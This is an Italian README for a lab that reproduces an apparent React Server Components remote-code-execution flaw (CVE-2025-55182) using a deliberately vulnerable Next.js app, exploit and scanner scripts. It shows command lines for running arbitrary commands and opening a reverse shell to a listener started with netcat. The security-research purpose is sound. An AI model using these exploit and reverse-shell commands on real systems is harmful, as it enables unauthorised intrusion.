
Questo repository contiene un ambiente completo per analizzare e riprodurre CVE-2025-55182, una vulnerabilità critica di Remote Code Execution (RCE) in React Server Components (RSC) che colpisce React 19.x e Next.js 15.x.
⚠️ AVVERTENZA: Questo progetto contiene intenzionalmente codice vulnerabile. NON distribuirlo su un server pubblico o in un ambiente di produzione.
react-server-dom-webpack, react-server-dom-turbopackLa vulnerabilità risiede nel modo in cui il runtime di React Server Components elabora i dati serializzati provenienti dalle richieste HTTP (Server Actions). Un attaccante può creare un payload dannoso del protocollo "Flight" che, una volta deserializzato dal server, esegue codice arbitrario prima che vengano effettuati i controlli di autenticazione.
react2shell/
├── vulnerable-app/ # Vulnerable Next.js 15 application
│ ├── app/
│ │ ├── actions.ts # Vulnerable Server Actions
│ │ └── page.tsx # UI for testing vulnerability
│ ├── Dockerfile # Container definition
│ └── package.json
├── exploit/ # Exploit tools
│ ├── exploit.py # Python PoC exploit
│ ├── scanner.py # Vulnerability scanner
│ └── quick_exploit.sh # Simple bash exploit
├── docs/ # Analysis documentation
└── docker-compose.yml # Isolated lab environment
Esegui l'applicazione vulnerabile in un container isolato:
docker-compose up -d --build
L'applicazione sarà disponibile all'indirizzo http://localhost:3000.
Visita http://localhost:3000 nel tuo browser. Dovresti vedere l'interfaccia "React2Shell Lab" con diversi pannelli di test:
Forniamo diversi strumenti per testare la vulnerabilità.
Installa i requisiti:
pip install -r exploit/requirements.txt
Verifica se è vulnerabile:
python3 exploit/exploit.py -u http://localhost:3000 --check
Esegui un comando:
python3 exploit/exploit.py -u http://localhost:3000 -c "id"
Reverse Shell (richiede un listener, es. nc -lvnp 4444):
python3 exploit/exploit.py -u http://localhost:3000 --revshell -l HOST_IP -p 4444
Cerca istanze vulnerabili di React/Next.js:
python3 exploit/scanner.py -u http://localhost:3000
Per correggere questa vulnerabilità nelle tue applicazioni:
Aggiorna le Dipendenze:
Verifica la Patch:
Controlla package.json per assicurarti che i pacchetti react-server-dom-* siano aggiornati.
Questo progetto è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza. Gli autori non si assumono alcuna responsabilità per l'uso improprio di questo materiale.